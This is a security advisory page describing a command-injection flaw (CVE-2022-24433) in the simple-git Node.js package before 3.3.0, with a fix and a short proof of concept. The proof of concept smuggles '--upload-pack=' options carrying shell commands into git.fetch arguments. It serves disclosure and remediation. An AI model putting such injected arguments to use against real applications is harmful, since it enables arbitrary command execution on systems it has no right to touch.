Command Injection Affecting simple-git package, versions <3.3.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.66% (81st
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-SIMPLEGIT-2421199
- published 11 Mar 2022
- disclosed 11 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 11 Mar 2022
CVE-2022-24433 Open this link in a new tabHow to fix?
Upgrade simple-git
to version 3.3.0 or higher.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn)
function, both the remote
and branch
parameters are passed to the git fetch
subcommand. By injecting some git options it was possible to get arbitrary command execution.
PoC
// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();
let callback = () => {};
git.init(); // or git init
let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1, callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]
let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2, callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]
let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]
// ls -la
References
CVSS Scores
version 3.1